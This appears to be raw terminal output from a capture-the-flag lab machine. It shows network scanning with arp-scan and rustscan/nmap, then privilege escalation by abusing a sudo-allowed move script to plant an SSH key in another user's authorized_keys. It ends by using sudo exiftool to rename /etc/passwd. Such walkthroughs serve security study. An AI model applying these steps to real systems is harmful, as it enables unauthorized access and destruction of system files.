❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.189 08:00:27:f6:c9:d1 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:f2:e6:ff VMware, Inc.
14 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.091 seconds (122.43 hosts/sec). 4 responded ❯ export ip=192.168.60.189 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- With RustScan, I scan ports so fast, even my firewall gets whiplash 💨 [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.189:22 Open 192.168.60.189:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-21 15:20 CST Initiating ARP Ping Scan at 15:20 Scanning 192.168.60.189 [1 port] Completed ARP Ping Scan at 15:20, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 15:20 Completed Parallel DNS resolution of 1 host. at 15:20, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 15:20 Scanning 192.168.60.189 [2 ports] Discovered open port 80/tcp on 192.168.60.189 Discovered open port 22/tcp on 192.168.60.189 Completed SYN Stealth Scan at 15:20, 0.03s elapsed (2 total ports) Nmap scan report for 192.168.60.189 Host is up, received arp-response (0.00050s latency). Scanned at 2025-05-21 15:20:59 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:F6:C9:D1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
c1rus@Laoda:~$ cd /tmp/ c1rus@Laoda:/tmp$ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file inwhich to save the key (/home/c1rus/.ssh/id_rsa): /tmp/id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /tmp/id_rsa Your public key has been saved in /tmp/id_rsa.pub The key fingerprint is: SHA256:naCswtJZsuwHQYPV7IDA1ZzDxRutVH1vr1zpN4pSXzc c1rus@Laoda The key's randomart image is: +---[RSA 3072]----+ |++o++ +.o.. | |o.+ o* + . . . | | . + o = . . | | . .. + o . o | | ... o S o . o| | +.= . . E+| |. B.. . ..ooo| | o .. . ..oo.| | .. .. .. o| +----[SHA256]-----+ c1rus@Laoda:/tmp$ sudo -u lzh /opt/move.sh id_rsa.pub /home/lzh/.ssh/authorized_keys mv: cannot remove 'id_rsa.pub': Operation not permitted 未知错误：文件移动失败 c1rus@Laoda:/tmp$ echo $? 4
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed May 21 05:40:34 2025 from ::1 lzh@Laoda:~$ ls -al .ssh/authorized_keys -rw-r--r-- 1 lzh lzh 565 May 26 11:22 .ssh/authorized_keys lzh@Laoda:~$ cat .ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwayesAP91qucFlhQ2t9ImQjwVx79LL6wt28BzGcNnOyAwrVqWUo/kGKsHjNP2LpqdJ2OPIdYFuAdhMPt8+338Yza5JiFyI2W5rRJwxYEuUdrLxlhq98odUY0DuBdtVF9lGuprzYc1lNHiqkNc3E37OAIrL1KddLeHRYxbt2xA79CwCq9L1cdjge1iPcQMePZvOgDBoR90sNBUG0B9DmsSTAVFIdMNBtjum3mxDwRfdnX4wROCqPAlj1MVF7m3nlSdLh0ZYjKoglYPZMhDfLLvA8CHxtwurGmpjY9xpTUf+NbfVY8EEh2QANn/UncSUyyONNXVbgdw3Jz8Xxc4OmKkR7oqvMQvo9+y295RVT1Y7w9NpZJqHDBfLyrkMU22yZIrwaipnXZ4tZgO4dfHFp2HgJdL4dTKAzocno9p9a5RwIcQ3H/UjFA1BTGfY90UpUnjNxz+xBUku1RHmTfi5BZHBC0gEJOxbi1v83JhGlYezkDBoT5nFlgJkFc161jAytk= c1rus@Laoda
lzh@Laoda:/tmp$ sudo /usr/bin/exiftool -filename=./abc /etc/passwd 1 image files updated lzh@Laoda:/tmp$ ls -al /etc/passwd ls: cannot access '/etc/passwd': No such file or directory lzh@Laoda:/tmp$ sudo /usr/bin/exiftool -filename=/etc/passwd passwd sudo: you do not exist in the passwd database
